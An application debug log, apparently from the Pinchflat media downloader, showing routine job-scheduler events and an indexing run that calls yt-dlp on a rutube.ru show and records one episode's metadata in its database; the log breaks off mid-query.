20:10:00.856 [info] {"source":"oban","duration":2897,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:10:22.450 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:52.452 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.863 [info] {"source":"oban","duration":6510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:11:22.454 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:52.456 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.868 [info] {"source":"oban","duration":4074,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:12:22.458 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:52.460 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.872 [info] {"source":"oban","duration":3279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:13:22.463 [info] {"source":"oban","duration":2291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:52.468 [info] {"source":"oban","duration":3551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.874 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:14:22.471 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:52.473 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.875 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:15:22.475 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:52.478 [info] {"source":"oban","duration":2384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.881 [info] {"source":"oban","duration":4392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:16:22.480 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:52.484 [info] {"source":"oban","duration":3095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.882 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:17:22.486 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:52.489 [info] {"source":"oban","duration":1854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.883 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:18:22.491 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:52.493 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.884 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:19:22.495 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:52.497 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.885 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:20:22.500 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:52.501 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.886 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:21:22.503 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:52.505 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.887 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:22:22.507 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:52.509 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.888 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:23:22.511 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:52.513 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.889 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:24:22.515 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:52.517 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.890 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:25:22.524 [info] {"source":"oban","duration":5673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:52.526 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.891 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:22.528 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:52.530 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.892 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:22.532 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:52.534 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.893 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:22.538 [info] {"source":"oban","duration":2866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:52.540 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.895 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:22.542 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:52.544 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.898 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:22.546 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:52.548 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.900 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:22.550 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:52.552 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.902 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:22.554 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:52.556 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.905 [info] {"source":"oban","duration":3487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:22.558 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:52.560 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.912 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:22.562 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:52.565 [info] {"source":"oban","duration":2685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.914 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:22.567 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:52.571 [info] {"source":"oban","duration":2137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.923 [info] {"source":"oban","duration":6910,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:22.573 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:52.575 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.929 [info] {"source":"oban","duration":4304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:22.577 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:52.579 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.932 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:22.581 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:52.583 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.932 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:22.585 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:52.587 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.937 [info] {"source":"oban","duration":3684,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:22.589 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:52.591 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.939 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:22.593 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:52.595 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.940 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:22.597 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:52.603 [info] {"source":"oban","duration":4926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.941 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:22.608 [info] {"source":"oban","duration":4165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:52.610 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.942 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:22.614 [info] {"source":"oban","duration":1894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:52.626 [info] {"source":"oban","duration":10404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.949 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:22.628 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:52.631 [info] {"source":"oban","duration":2882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.950 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:22.633 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:52.637 [info] {"source":"oban","duration":2992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.952 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:22.642 [info] {"source":"oban","duration":3787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:52.644 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.954 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:22.646 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:52.648 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.956 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:22.650 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:52.652 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.957 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:22.654 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:52.658 [info] {"source":"oban","duration":3058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.958 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:22.660 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:52.662 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.959 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:22.666 [info] {"source":"oban","duration":3140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:52.668 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.960 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:22.670 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:52.672 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.961 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:22.690 [info] {"source":"oban","duration":16237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:52.692 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.964 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:22.694 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:52.696 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.966 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:22.698 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:52.701 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.973 [info] {"source":"oban","duration":5669,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:22.705 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:52.707 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.975 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:22.710 [info] {"source":"oban","duration":2390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:52.712 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.980 [info] {"source":"oban","duration":3554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:01.814 [info] {"args":{"id":6},"id":2206,"meta":{},"system_time":1765216741803741187,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:59:01.844 [debug] QUERY OK source="sources" db=24.8ms queue=0.1ms idle=1808.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:01.872 [debug] QUERY OK source="settings" db=26.7ms queue=1.3ms idle=1327.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:02.100 [debug] QUERY OK source="media_items" db=216.1ms queue=0.1ms idle=904.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 20:59:02.157 [debug] QUERY OK source="media_items" db=54.9ms queue=0.3ms idle=461.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 20:59:02.159 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=356.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:02.166 [debug] QUERY OK source="settings" db=0.7ms idle=322.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:02.168 [debug] QUERY OK source="settings" db=1.1ms idle=294.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:02.172 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 20:59:02.172 [debug] Current batch of media processed. Will check again in 1000ms 20:59:02.173 [debug] QUERY OK source="settings" db=0.8ms idle=72.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:02.174 [debug] QUERY OK source="settings" db=0.4ms idle=16.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:02.174 [debug] QUERY OK source="settings" db=0.3ms idle=14.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:02.177 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/294997/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/4 жены/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a7/84/a78420998db36104fe553b0f4c5b4f6772dd52ab6dded6933af9ada61e44e4f3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:59:03.173 [debug] Current batch of media processed. Will check again in 1000ms 20:59:04.174 [debug] Current batch of media processed. Will check again in 1000ms 20:59:05.175 [debug] Current batch of media processed. Will check again in 1000ms 20:59:06.182 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "«Четыре жены» отправляются в Турцию! Ирина из Стамбула, Мария из Анталии, Женя и Алина из Алании покажут, какими женами они стали. Удалось ли девушкам перенять традиции местных хозяек, реализовать себя в незнакомой для них культуре и укротить горячие сердца своих мужей? Узнаем из программы «Четыре жены».", "duration" => 6915, "filename" => "/downloads/rutubeShows/4 жены/Season 2025/s2025e070300 - Четыре жены: Начинающая жена, огненная, неправильная, капризная.mp4", "id" => "48339642a1d3fe289d0567dd4c336feb", "original_url" => "https://rutube.ru/video/48339642a1d3fe289d0567dd4c336feb/", "playlist_index" => 1, "timestamp" => 1751548818, "title" => "Четыре жены: Начинающая жена, огненная, неправильная, капризная", "upload_date" => "20250703"} 20:59:06.184 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=522.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:06.185 [debug] QUERY OK source="sources" db=0.5ms idle=174.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:06.191 [debug] QUERY OK source="media_items" db=3.4ms idle=176.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-03 13:20:18Z], 6] 20:59:06.482 [debug] QUERY OK source="media_items" db=286.1ms idle=184.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["«Четыре жены» отправляются в Турцию! Ирина из Стамбула, Мария из Анталии, Женя и Алина из Алании покажут, какими женами они стали. Удалось ли девушкам перенять традиции местных хозяек, реализовать себя в незнакомой для них культуре и укротить горячие сердца своих мужей? Узнаем из программы «Четыре жены».", "Четыре жены: Начинающая жена, огненная, неправильная, капризная", "57813ad7-1424-45f2-94cf-3850babf93d1", "48339642a1d3fe289d0567dd4c336feb", 6915, false, "https://rutube.ru/video/48339642a1d3fe289d0567dd4c336feb/", 1, "/downloads/rutubeShows/4 жены/Season 2025/s2025e070300 - Четыре жены: Начинающая жена, огненная, неправильная, капризная.mp4", false, false, false, 6, [], 1, ~U[2025-07-03 13:20:18Z], ~U[2025-12-08 17:59:06Z], ~U[2025-12-08 17:59:06Z], "«Четыре жены» отправляются в Турцию! Ирина из Стамбула, Мария из Анталии, Женя и Алина из Алании покажут, какими женами они стали. Удалось ли девушкам перенять традиции местных хозяек, реализовать себя в незнакомой для них культуре и укротить горячие сердца своих мужей? Узнаем из программы «Четыре жены».", "Четыре жены: Начинающая жена, огненная, неправильная, капризная", "48339642a1d3fe289d0567dd4c336feb", 6915, false, "https://rutube.ru/video/48339642a1d3fe289d0567dd4c336feb/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e070300 - Четыре жены: Начинающая жена, огненная, неправильная, капризная.mp4", false, 6, ~U[2025-07-03 13:20:18Z]] 20:59:06.492 [debug] QUERY OK source="sources" db=9.2ms queue=0.1ms idle=472.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", 